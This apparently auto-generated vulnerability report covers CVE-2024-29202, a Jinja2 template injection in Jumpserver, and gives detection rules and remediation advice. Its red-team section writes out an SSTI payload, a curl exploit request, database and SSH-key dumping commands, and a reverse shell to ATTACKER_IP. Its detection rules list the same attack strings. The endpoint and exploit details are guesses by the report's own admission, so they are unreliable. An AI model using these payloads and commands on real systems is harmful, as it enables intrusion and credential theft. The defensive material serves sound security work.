CVE-2024-29202

Executive Summary

CVE-2024-29202 is a critical severity vulnerability in Jumpserver, an open-source bastion host and operation and maintenance security audit system. The vulnerability is a Jinja2 template injection flaw within Jumpserver's Ansible integration. An unauthenticated attacker can exploit this to achieve remote code execution (RCE) within the Celery container. Because the Celery container runs with root privileges and has access to the database, this vulnerability allows an attacker to steal sensitive information from all managed hosts, manipulate the database, and pivot deeper into the infrastructure. The CVSS score is 10.0 (Critical), and the vulnerability is fixed in Jumpserver v3.10.7. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Jumpserver application itself. However, the Jinja2 template engine is a Python library, and the Ansible integration is a core component. Organizations should verify the integrity of their Jumpserver installation and ensure they are using a trusted source for the software.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all data on the affected system and potentially all managed hosts.
• Integrity (I): High (H) - Complete compromise of system integrity, including database manipulation.
• Availability (A): High (H) - Total shutdown of the affected resource, potentially leading to denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the potential for full system compromise makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the Ansible integration within Jumpserver. Jumpserver uses Ansible for automation tasks, such as configuration management and command execution on managed hosts. The Jinja2 template engine is used to process Ansible playbooks and templates.

The flaw is a Server-Side Template Injection (SSTI) in the Jinja2 engine. An attacker can inject malicious Jinja2 template syntax into a field that is later processed by the Ansible engine. When the template is rendered, the injected code is executed on the Celery worker container.

Attack Flow:

1. Reconnaissance: The attacker identifies a Jumpserver instance (e.g., via Shodan or other scanning).
2. Injection: The attacker sends a crafted request to a vulnerable endpoint (likely related to Ansible playbook creation or execution). The request contains a Jinja2 payload, such as {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}.
3. Execution: The Jumpserver application passes the attacker-controlled input to the Ansible engine, which renders the Jinja2 template. The malicious payload is executed on the Celery worker.
4. Privilege Escalation & Lateral Movement: Since the Celery container runs as root, the attacker gains root access within the container. From there, they can access the database (e.g., MySQL/PostgreSQL) to steal credentials, session tokens, and host information. They can also use the database access to modify records, create backdoor accounts, or pivot to other hosts managed by Jumpserver.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely involves passing user-supplied input directly into a Jinja2 template without proper sanitization or escaping.

# Vulnerable example (conceptual)
from jinja2 import Template

def execute_ansible_playbook(user_input):
    template = Template(user_input)  # User input is directly used as a template
    rendered = template.render()
    # ... execute rendered playbook

Patched Code (Conceptual): The patched code should sanitize or escape user input before passing it to the Jinja2 engine. Alternatively, it should use a sandboxed environment or restrict the template engine's capabilities.

# Patched example (conceptual)
from jinja2 import Environment, BaseLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment

def execute_ansible_playbook(user_input):
    # Use a sandboxed environment to restrict dangerous operations
    env = SandboxedEnvironment(loader=BaseLoader(), autoescape=select_autoescape())
    template = env.from_string(user_input)  # Still uses user input, but sandboxed
    rendered = template.render()
    # ... execute rendered playbook

Note: The exact patched code is not publicly available, but the fix in v3.10.7 likely involves input validation, output encoding, and/or the use of a sandboxed Jinja2 environment.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Jumpserver instance (version < 3.10.7).
• Network access to the Jumpserver web interface or API.

Exploitation Steps:

1. Identify the vulnerable endpoint: The exact endpoint is not publicly disclosed, but it is likely related to creating or editing Ansible playbooks, jobs, or templates. Common endpoints include /api/v1/ops/playbooks/ or similar.

2. Craft the Jinja2 payload: Use a standard SSTI payload to execute system commands. For example:

   {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
   

3. Inject the payload: Send a POST or PUT request to the vulnerable endpoint with the payload in a relevant field (e.g., playbook_content, template, command).

4. Verify execution: Check the response or logs for the output of the id command. If successful, you have RCE.

5. Escalate privileges: Since the Celery container runs as root, you already have root access. Use this to:

   • Dump the database: mysqldump -u jumpserver -p jumpserver > /tmp/dump.sql
   • Extract SSH keys: cat /opt/jumpserver/data/keys/*
   • Create a reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Example cURL command (conceptual):

curl -X POST https://target.jumpserver.com/api/v1/ops/playbooks/ \
  -H "Content-Type: application/json" \
  -d '{"name": "malicious", "playbook_content": "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"}'

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous Jinja2 template syntax: Look for requests containing {{, {%, {#, or other Jinja2 delimiters in fields that should not contain templates.
2. Audit Celery worker logs: Check for unexpected command execution or file access patterns.
3. Network monitoring: Detect outbound connections from the Celery container to unknown IPs (reverse shells).
4. Database activity: Monitor for unusual queries, especially SELECT * FROM or DROP TABLE statements.
5. File integrity monitoring: Watch for changes to critical files in /opt/jumpserver/.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the Jumpserver host to unknown IP addresses on common ports (4444, 8080, 443).
• HTTP requests containing Jinja2 template syntax (e.g., {{, {%) in POST/PUT bodies.
• Unusual database connection attempts from the Celery container.

Host IOCs:

• Unexpected processes running as root inside the Celery container.
• New files in /tmp/ or /opt/jumpserver/data/ with suspicious names.
• Modified database dumps or SSH keys.
• Presence of reverse shell binaries or scripts.

Log IOCs:

• Celery worker logs showing execution of os.popen, subprocess, or similar commands.
• Application logs showing failed template rendering errors.
• Database logs showing unauthorized SELECT, INSERT, or DELETE operations.

Detection Engineering

YARA Rule

rule CVE_2024_29202_Jinja2_SSTI {
    meta:
        description = "Detects Jinja2 template injection payloads in HTTP requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29202"
    strings:
        $jinja2_payload1 = "{{" ascii wide nocase
        $jinja2_payload2 = "{%" ascii wide nocase
        $jinja2_payload3 = "config.__class__" ascii wide nocase
        $jinja2_payload4 = "os.popen" ascii wide nocase
        $jinja2_payload5 = "subprocess" ascii wide nocase
    condition:
        any of ($jinja2_payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-29202 - Jinja2 SSTI in Jumpserver
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of Jinja2 template injection in Jumpserver
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/v1/ops/playbooks/'
            - '/api/v1/ops/jobs/'
        cs-body|contains:
            - '{{'
            - '{%'
            - 'config.__class__'
            - 'os.popen'
    condition: selection
falsepositives:
    - Legitimate use of Jinja2 templates in playbooks (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-29202 - Jumpserver Jinja2 SSTI Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/ops/playbooks/"; http_uri; content:"{{"; http_client_body; nocase; content:"config.__class__"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Jumpserver to version 3.10.7 or later immediately.
2. Isolate: If patching is not possible, isolate the Jumpserver instance from the internet and restrict network access to trusted IPs only.
3. Disable Ansible Integration: Temporarily disable the Ansible integration feature if it is not critical for operations.

Long-Term Mitigations:

1. Network Segmentation: Place the Jumpserver and its Celery workers in a separate, highly restricted network segment.
2. Least Privilege: Run the Celery container with a non-root user. This limits the blast radius of a successful exploit.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially when used in template engines.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block Jinja2 template injection payloads.
5. Regular Audits: Conduct regular security audits and penetration testing of the Jumpserver deployment.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.